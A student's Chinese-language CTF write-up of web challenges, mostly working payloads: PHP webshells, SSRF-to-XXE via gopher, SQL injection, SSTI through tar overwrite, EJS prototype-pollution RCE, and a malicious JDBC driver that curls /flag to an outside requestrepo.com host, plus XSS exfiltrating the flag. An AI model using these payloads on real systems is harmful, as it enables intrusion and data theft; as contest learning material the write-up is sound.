目录
一些碎碎念:
Web Guideline
2048
ezupload
hardupload
ezphp
ezweb
ezsql
webbuilder
tarit
tarit_revenge
VipDinner
simplespi
一些碎碎念:
scu新生赛是我全心全力打的第二场比赛,历时七天,期间不免煎熬,有山重水复后仍疑无路的无能为力,有距离正解仅一念之隔的遗憾,当然,从不缺的是不断尝试最终打出flag的恣意。
回首看去,很多题对于现在的我极具启发性,比赛过程也极大的提升了我的信息检索能力(启蒙于技能兴鲁的经历)
作为3个月ctf生涯的一个阶段性检测,因为队里就我一人,所以自认最后的成绩还算可以(web12/15),给自己打个75分吧。
感谢401的师傅们出的高质量赛题,真就应了“题⽬难度梯度提升,在保证题⽬质量的同时,也有对新手循序渐进的引导”的主题。
期待下学期的校赛,希望在此之前能有破茧成蝶的蜕变!
下面直接贴出自己的wp
Web Guideline
查看器中直接看到flag(hidden)
2048
一眼前端js小游戏,常见的考点就是控制台改分
直接console里盲猜一个score,发现有定义
直接改分score=99999999999
然后快速把游戏玩死,弹窗拿到flag
ezupload
写马
<?=phpinfo()?>
<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>
上传文件时后缀改为.PHP即可绕过后缀过滤
内容检测则用16进制转字符串来绕过
上传成功后看时间(看当前美国洛杉矶时间,缩小bp文件路径爆破范围)
<?php
// 设置默认时区为美国洛杉矶
date_default_timezone_set('America/Los_Angeles');
// 输出当前时间
echo date('H:i:s');
?>
bp爆破出文件路径
直接访问rce拿到flag
hardupload
写马
<?=eval(next(getallheaders()))?>
getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串,这里再套个next就可以返回字符串
(end也行,但这里再添加hearders貌似不是最后一位,所以盲猜next直接指向UA)
上传时文件后缀改.PHP就可绕过后缀过滤
用下面脚本看一眼时间方便bp爆破上传路径
<?php
// 设置默认时区为美国洛杉矶
date_default_timezone_set('America/Los_Angeles');
// 输出当前时间
echo date('H:i:s');
?>
直接访问在UA里rce即可拿到flag
ezphp
?name=123
访问/cache.php
?name=".file_put_contents('shell.php','<?php phpinfo();?>')."
访问/cache.php触发file_put_contents,回显18(符合执行成功的返回值)
访问/shell.php
成功写入
?name=".file_put_contents('shell.php','<?php eval($_POST[1])?>')."
访问/cache.php触发file_put_contents,回显23,说明成功执行
访问/shell.php
连蚁剑拿flag
ezweb
主机存活检测,给了一个ip输入框
测试有无ssrf
baidu.com,成功跳转,猜测存在
查看页面源代码,还有一个xxe.php文件
看了下就是简单的xxe注入,但是限制死了必须是本地访问
现在思路就有了,利用主机存活检测的ssrf去对xxe.php发送请求
利用gopher协议构造:
gopher://127.0.0.1:80/_
POST /xxe.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>
<info>
<name>&name;
</name></info>
需要进行两次url编码
gopher://127.0.0.1:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A
尝试,直接hack,测了下,发现是127.0.0.1被禁用,直接0.0.0.0代替就行
gopher://0.0.0.0:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A
最后将得到的base64解码即可
ezsql
简单测一测发现是数字型注入
可以直接联合查询,按正常的套路走
/index.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
//flag
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"
//flag,id
/index.php?id=1 union select 1,flag from ctf.flag
//where_is_flag
明显一个假的flag
sqlmap查了查别的库感觉没有特别明显的flag表
想到flag在某个存储过程的定义里面
已知flag格式为scuctf{uuid}
直接like模糊匹配
/index.php?id=-1 union select 1,routine_definition from information_schema.routines where routine_definition like '%scuctf%'
拿到flag
webbuilder
在服务器上起一个flask,源码如下
app.py源码
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/test', methods=['GET'])
def test():
name = request.args.get('name')
# 检查是否提供了 name 参数
if not name:
return jsonify(error='Name parameter is missing.'), 400
# 构建返回的 JSON 数据
responseData = {
'len': 15,
'code': 200 # 获取当前时间戳
}
# 设置响应头的 Content-Type 为 application/json
return jsonify(responseData)
@app.route('/redirect', methods=['GET'])
def redirect_route():
# 返回状态码为 302 的响应
return jsonify(), 302, {'Location': 'http://124.222.136.33:3000/success'}
@app.route('/success', methods=['GET'])
def success_route():
# Additional logic for /success route if needed
return 'Success Route'
# 新加的 /js 路由
@app.route('/js', methods=['GET'])
def js_route():
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSP with Nonce Example</title>
<!-- 将生成的 nonce 值传递到前端脚本 -->
<script>
const nonce = 'XssFun'; // 这里替换为实际的 nonce
</script>
<!-- 在 script 标签中使用 nonce -->
<script nonce="XssFun">
// 在这里执行 JavaScript 代码,访问本地 /flag 路由并获取回显
fetchData()
// 定义获取数据的函数
async function fetchData() {
try {
const response = await fetch('http://127.0.0.1:8080/flag');
const data = await response.text(); // 使用 text() 获取字符串形式的响应
location.href="http://0scpvdff.requestrepo.com/?data="+encodeURIComponent(data)
} catch (error) {
console.error('Error fetching data:', error);
}
}
</script>
</head>
<body>
<!-- 在此可以添加其他 HTML 内容 -->
</body>
</html>
"""
if __name__ == '__main__':
app.run(host="0.0.0.0", port=3000)
因为api检测1那里长度为10-20的随机数,检测2还存在4次全部都是404的可能,所以需要多次爆破
拿到uuid
访问/report?uuid=xxx(触发bot.js里封装的visit,xss把flag带出)
拿到flag
tarit
题目就是tar文件上传,题目环境有个解包的过程,这个过程如果我们tar中有个软连接,就会链接到靶机文件
上传访问
没找到flag文件在哪,读环境变量偷家成功
tarit_revenge
先随便上传一个tar文件,发现存在一个文件读取
经过尝试发现../替换成了空,双写绕过即可
访问/app.pyc看源码
因为没拿到pyc文件,无法反编译,只能靠猜了(
看出应该是渲染了index.html,可以覆盖index.html来渲染自己的py代码(SSTI)
贴出脚本
import requests as req
import tarfile
def changeFileName(filename):
filename.name = '/app/templates/index.html'
return filename
with tarfile.open("tar.tar", "w") as tar:
tar.add('test.py', filter=changeFileName)
def upload():
url = 'http://43.136.40.245:1389/upload'
response = req.post(url=url, files={"file": open("tar.tar", 'rb')})
print(response.text)
if __name__ == "__main__":
upload()
test.py
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
//Y0u_C4nt_Find33333333_M3hhh
{{config.__class__.__init__.__globals__['os'].popen('ls /Y0u_C4nt_Find33333333_M3hhh').read()}}
//f144gggggg
{{config.__class__.__init__.__globals__['os'].popen('tac /Y0u_C4nt_Find33333333_M3hhh/f144gggggg').read()}}
//SCUCTF{S0rry_Ab0ut_Th3Th3_R3veng3_QwQ}
VipDinner
先给出参考文章
绕invited=1
MySQL 记录不存在插入 和 存在则更新_mysql 更新或新增-CSDN博客
绕vip
mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入_mysql注入 关键字截断查询原理预防-CSDN博客
ejsrce
EJS - Server Side Prototype Pollution gadgets to RCE | mizu.re
mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入_mysql注入 关键字截断查询原理预防-CSDN博客
首先是绕invited
在/login的signup界面先更改掉Alice的密码。把密码覆盖成abcd的md5值
Alice', 'awdaw')
ON DUPLICATE KEY UPDATE
password = 'e2fc714c4727ee9395f324cd2e7f331f'#
输入Alice abcd即可登录拿到invited=1
接下来绕vip,
发现sql模式为空,data的容量是255
在note这里是可以拼接字符进去。但是vip是控不了的,肯定是false。可以在note插入大量字符串,因为数据表的data字段只能容纳255,那么后面vip等于false就会被截断掉
接下来是ejsrce部分
显然finish调用了merge
/check调用了finish
/bill调用了res.render()
下面就是调payload(长度为255即可)
用这个网站计算字符串长度
在线文本字符数统计工具 - UU在线工具
最终payload:
{"ids":[10],"createTime":"2023-12-8","price":16,"note":"aa","__proto__":{"view
options":{"client":1,"escapeFunction":"(() => {});return
process.mainModule.require('child_process').execSync('cat
/flag').toString()"}},"vip":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
注意要给引号转义(让bp里识别成note的键值)
aa\",\"__proto__\":{\"view options\":{\"client\":1,\"escapeFunction\":\"(() =>
{});return process.mainModule.require('child_process').execSync('cat
/flag').toString()\"}},\"vip\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}
访问/check?order=1触发finish污染成功
访问/bill?order=1拿到flag
simplespi
审计代码。代码没啥过滤的。就是一个上传jar包。和写了一个类似spi后门的东西。会加载我们的jar包
从SPI机制到JDBC后门实现 | CTF导航
加载的部分和上面文章的例子很像
关键就是生成一个和上面文章那个jar包结构相同的恶意jar包
最后新建的项目结构如图
MySQLDriver类 (抄文章代码,就改了个LinuxCmd)
package com;
import java.sql.*;
import java.util.*;
import java.util.logging.*;
public class MySQLDriver implements Driver {
protected static boolean DEBUG = false;
protected static final String WindowsCmd = "calc";
protected static final String LinuxCmd = "curl 7s5ogi9m.requestrepo.com -T /flag";
protected static String shell;
protected static String args;
protected static String cmd;
static{
if(DEBUG){
Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
}
if( System.getProperty("os.name").toLowerCase().contains("windows") ){
shell = "cmd.exe";
args = "/c";
cmd = WindowsCmd;
} else {
shell = "/bin/sh";
args = "-c";
cmd = LinuxCmd;
}
try{
Runtime.getRuntime().exec(new String[] {shell, args, cmd});
} catch(Exception ignored) {
}
}
// JDBC methods below
public boolean acceptsURL(String url){
if(DEBUG){
Logger.getGlobal().info("acceptsURL() called: "+url);
}
return false;
}
public Connection connect(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("connect() called: "+url);
}
return null;
}
public int getMajorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 1;
}
public int getMinorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 0;
}
public Logger getParentLogger(){
if(DEBUG){
Logger.getGlobal().info("getParentLogger() called");
}
return null;
}
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("getPropertyInfo() called: "+url);
}
return new DriverPropertyInfo[0];
}
public boolean jdbcCompliant(){
if(DEBUG){
Logger.getGlobal().info("jdbcCompliant() called");
}
return true;
}
}
运行下面命令就会在当前目录生成恶意jar包
javac src/com/MySQLDriver.java
jar -cvf evil2.jar -C src/ .
上传evil2.jar
访问/init?name=evil2(审源码)
这时候就成功外带拿到flag